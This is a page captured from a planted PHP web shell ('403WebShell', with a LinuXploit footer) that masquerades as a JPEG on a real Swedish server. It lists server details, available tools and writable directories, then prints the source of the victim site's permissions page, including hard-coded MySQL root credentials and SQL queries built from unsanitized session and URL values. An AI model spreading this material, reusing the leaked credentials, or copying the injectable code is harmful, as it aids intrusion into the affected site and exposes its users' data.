????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.116.239.69
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/archive/rattigheter.php
<?php
session_start();

$projectId = $_GET['projectId'];
$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];
$CustomerId = $CompanyId ;
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");

$sql = "select * from ICADARCHIVEPermissions where SystemUserId = ".$_SESSION['ASTACUS_SSO_INFO'][0];


	
$result = mysql_query($sql);
$be1 = false;
$be2 = false;
$be3 = false;
$be4 = false;
$be5 = false;
$be6 = false;
$be7 = false;
$be8 = false;
$be9 = false;
$be10 = false;
$be11 = false;
while ($row = mysql_fetch_assoc($result)){ 
	if($row['Permission'] == 1){
		$be1 = true;
	}else if($row['Permission'] == 2){
		$be2 = true;	
	}else if($row['Permission'] == 3){
		$be3 = true;	
	}else if($row['Permission'] == 4){
		$be4 = true;	
	}else if($row['Permission'] == 5){
		$be5 = true;	
	}else if($row['Permission'] == 6){
		$be6 = true;	
	}else if($row['Permission'] == 7){
		$be7 = true;	
	}else if($row['Permission'] == 8){
		$be8 = true;	
	}else if($row['Permission'] == 9){
		$be9 = true;	
	}else if($row['Permission'] == 10){
		$be10 = true;	
	}else if($row['Permission'] == 11){
		$be11 = true;	
	}
}


$html = "";
$i = 0;
function ListFolder($path, $SystemUserID)
{
global $html,$i;
    //using the opendir function
    $dir_handle = @opendir($path) or die("Unable to open $path");
   
    //Leave only the lastest folder name
   
   

    //display the target folder.
	foreach(scandir($path,0) as $file)
   // while (false !== ($file = readdir($dir_handle)))
    {
        if($file!="." && $file!=".." && $file != "icad_viewer_files")
        {
            if (is_dir($path."/".$file))
            {
                //Display a list of sub folders.
				
		$i++;
		$P = str_replace("//","/",$path."/".$file."/");
			
		
		$sql = "select * from ICADARCHIVERights where SystemUserId = ". $SystemUserID;

		$result = mysql_query($sql);
		$selected = "";
		while ($row = mysql_fetch_assoc($result)){ 
			if($row['Path'] == $P){
				$selected = " checked ";
			}
		}
		
		
		
		$html.= "<li><input name='c".$i."' type='checkbox' value='". $P."' ".$selected."> $file\n";
		$html.=  "<ul>\n";
		
	    $html.=  "</ul>\n";
  	  $html.=  "</li>\n";
   
	
            }
        }
    }
   
   
  
    //closing the directory
    closedir($dir_handle);
}	

$html2 = "";
$i = 0;
function ListFolder2($path, $SystemUserID)
{
global $html2,$i;
    //using the opendir function
    $dir_handle = @opendir($path) or die("Unable to open $path");
   
    //Leave only the lastest folder name
   
   

    //display the target folder.
	foreach(scandir($path,0) as $file)
   // while (false !== ($file = readdir($dir_handle)))
    {
        if($file!="." && $file!=".." && $file != "icad_viewer_files")
        {
            if (is_dir($path."/".$file))
            {
                //Display a list of sub folders.
				
		$i++;
		$P = str_replace("//","/",$path."/".$file."/");
			
		
		$sql = "select * from ICADARCHIVEDocumentRights where SystemUserId = ". $SystemUserID;

		$result = mysql_query($sql);
		$selected = "";
		while ($row = mysql_fetch_assoc($result)){ 
			if($row['Path'] == $P){
				$selected = " checked ";
			}
		}
		
		
		
		$html2.= "<li><input name='d".$i."' type='checkbox' value='". $P."' ".$selected."> $file\n";
		$html2.=  "<ul>\n";
		
	    $html2.=  "</ul>\n";
  	  $html2.=  "</li>\n";
   
	
            }
        }
    }
   
   
  
    //closing the directory
    closedir($dir_handle);
}
	
?>

<link href="../main.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="calendar.js"></script>
 <script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<script type="text/javascript">
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
 </script>
<body onLoad="showClockSWE();">
<style type="text/css"> 
.ToolText{position:relative; } 
.ToolTextHover{position:relative;} 
.ToolText span{display: none;} 

.ToolTextHover span{ 
 
  display:block; 
  position:absolute; 
  border:1px solid black; 
  top:0em; 
  left:50px; 
  background-color:gray; color:white; 
  text-align: center; 
  width:250px;
  text-decoration:none;
} 
</style>

<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="25">&nbsp;</td>
    <td width="964"><table width="820" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td colspan="5" valign="top"><span class="heading2"><?php echo($a1);?></span><br>
          <table width="936" border="0" cellpadding="0" cellspacing="0">
            <tr >
              <td width="76" class="text"><?php echo($a2);?></td>
              <td width="262" class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][1]);?> (<?php echo($_SESSION['ASTACUS_SSO_INFO'][10]);?>) </td>
              <td width="90" class="text"><?php echo($a5);?></td>
              <td width="221" class="text"><span class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][6]);?></span></td>
              <td width="1" rowspan="4" bgcolor="#999999"></td>
              <td width="286" rowspan="4" valign="top" class="textthin"><br>
                <table width="233" border="0" align="right" cellpadding="0" cellspacing="0">
                  <tr>
                    <td width="59" align="left"><span class="heading2"><a href="../customerzon/"><img src="../images/Back-Arrow.jpg" alt="" width="46" height="45" border="0"></a></span></td>
                    <td width="141"><span class="heading2"> Till iCAD Projekt</span></td>
                  </tr>
                </table></td>
            </tr>
            <tr >
              <td class="text"><?php echo($a3);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][2]);?></td>
              <td class="text"><?php echo($a6);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][7]);?></td>
            </tr>
            <tr >
              <td class="text"><?php echo($a4);?></td>
              <td class="textthin"><a href="skype:<?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?>?call"><img src="http://mystatus.skype.com/smallicon/<?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?>" alt="My status" width="16" height="16" align="absmiddle" style="border: none;" /></a> <?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?></td>
              <td class="text"><?php echo($a7);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][8]);?> <?php echo($_SESSION['ASTACUS_SSO_INFO'][9]);?></td>
            </tr>
            <tr class="text">
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
          </table>
          <hr size="1">
          <table width="950" height="64" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td valign="top" background="images/tabb3.jpg"><table width="850" height="23" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="5" height="23">&nbsp;</td>
                  <td width="111" valign="bottom" class="blacklink"><div align="center"><a href="?" class="blacklink">Ritningar</a></div></td>
                  <td width="22" valign="bottom" class="blacklink"><div align="center"></div></td>
                  <td width="106" valign="bottom" class="<?php if($be6 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be6 == true){echo("?page=rattigheter");}else{echo("#");}?>" class="<?php if($be6 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be10 == true){echo("?page=dokument");}else{echo("#");}?>" class="blacklink">Dokument</a></div></td>
                  <td width="18" valign="bottom" class="blacklink"><div align="center"></div></td>
                  <td width="107" valign="bottom" class="<?php if($be7 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be7 == true){echo("?page=behorigheter");}else{echo("#");}?>" class="<?php if($be7 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be6 == true){echo("?page=rattigheter");}else{echo("#");}?>" class="blacklink">R&auml;ttigheter</a></div></td>
                  <td width="22" class="blacklink">&nbsp;</td>
                  <td width="103" valign="bottom" class="<?php if($be8 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be8 == true){echo("?page=installningar");}else{echo("#");}?>" class="<?php if($be8 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be7 == true){echo("?page=behorigheter");}else{echo("#");}?>" class="blacklink">Beh&ouml;righeter</a></div></td>
                  <td width="21" class="blacklink">&nbsp;</td>
                  <td width="104" valign="bottom" class="blacklink"><div align="center"><a href="<?php if($be8 == true){echo("?page=installningar");}else{echo("#");}?>" class="blacklink">Inst&auml;llningar</a></div></td>
                  <td width="138" class="blacklink">&nbsp;</td>
                  <td width="23" class="blacklink">&nbsp;</td>
                  <td width="70" class="blacklink">&nbsp;</td>
                </tr>
              </table></td>
            </tr>
          </table>
          <span class="heading2"><br>
          </span>
         
          <table width="941" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="11" height="276" valign="top" class="heading2"><p class="textthin">&nbsp;</p></td>
              <td width="455" align="left" valign="top" class="heading2">
              
               <form name="form1" method="post" action="rights.php">
               R&auml;ttigheter Ritningar<br>
                <span class="text"><br>
                
                V&auml;lj en anv&auml;ndare i listan f&ouml;r att s&auml;tta mappr&auml;ttigheter:</span><br>
                <label for="select"></label>
                <span class="text">
                <select name="SystemUserId" id="jumpMenu" onChange="MM_jumpMenu('parent',this,0)">
                  <?php
					    $sql = "SELECT * FROM SystemUser WHERE CompanyId = $CompanyId";
	 
					$SystemUserID = $_GET['SystemUserId'];
	
	
					$result = mysql_query($sql);
					$d = 0;
					while ($row = mysql_fetch_assoc($result)){ 
					if($SystemUserID == "" && $d == 0 ){
						$SystemUserID = $row['SystemUserId'];	
						$d = 1;
					}
				//	 = $row['SystemUserId'];
				 ?>
                  <option value="?page=rattigheter&SystemUserId=<?php echo($row['SystemUserId']);?>" <?php if($row['SystemUserId'] == $_GET['SystemUserId']){echo("selected");}?>><?php echo($row['Name']);?></option>
                  <?php } ?>
                </select>
                </span>
                <?php
			   
			      
                
	
	
?>
                <input name="SystemUserId" type="hidden" value="<?php echo($SystemUserID);?>">
                <br>
                <br> 
            

<span class="text">
<?php ListFolder("/var/www/icad_files/$CustomerId/archive/", $SystemUserID);echo($html);?></span><br>
<span class="text">
<input type="submit" name="button" id="button" value="Uppdatera R&auml;ttigheter">
</span>

 </form>
</td>
              <td width="475" align="left" valign="top" class="heading2">
                <form name="form2" method="post" action="rightsdocuments.php">
                  R&auml;ttigheter Dokument<br>
                  <span class="text"><br>
V&auml;lj en anv&auml;ndare i listan f&ouml;r att s&auml;tta mappr&auml;ttigheter:</span><br>
<label for="select3"></label>
<span class="text">
<select name="SystemUserId" id="SystemUserId" onChange="MM_jumpMenu('parent',this,0)">
  <?php
					    $sql = "SELECT * FROM SystemUser WHERE CompanyId = $CompanyId";
	 
					$SystemUserID = $_GET['SystemUserId'];
	
	
					$result = mysql_query($sql);
					$d = 0;
					while ($row = mysql_fetch_assoc($result)){ 
					if($SystemUserID == "" && $d == 0 ){
						$SystemUserID = $row['SystemUserId'];	
						$d = 1;
					}
				//	 = $row['SystemUserId'];
				 ?>
  <option value="?page=rattigheter&SystemUserId=<?php echo($row['SystemUserId']);?>" <?php if($row['SystemUserId'] == $_GET['SystemUserId']){echo("selected");}?>><?php echo($row['Name']);?></option>
  <?php } ?>
</select>
</span>
<?php
			   
			      
                
	
	
?>
<input name="SystemUserId" type="hidden" value="<?php echo($SystemUserID);?>">
<br>
<br>
<span class="text">
<?php ListFolder2("/var/www/icad_files/$CustomerId/documents/", $SystemUserID);echo($html2);?>
</span><br>
<span class="text">
<input type="submit" name="button2" id="button2" value="Uppdatera R&auml;ttigheter">
</span>
                </form>
                <p>&nbsp;</p></td>
            </tr>
          </table>
          <br>
          <br>
          <table width="941" border="0" cellspacing="0" cellpadding="0">
            <tr> </tr>
        </table>
          
      

          <hr size="1"></td>
        </tr>
    </table>      
    </td>
    <td width="11">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3">&nbsp;    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit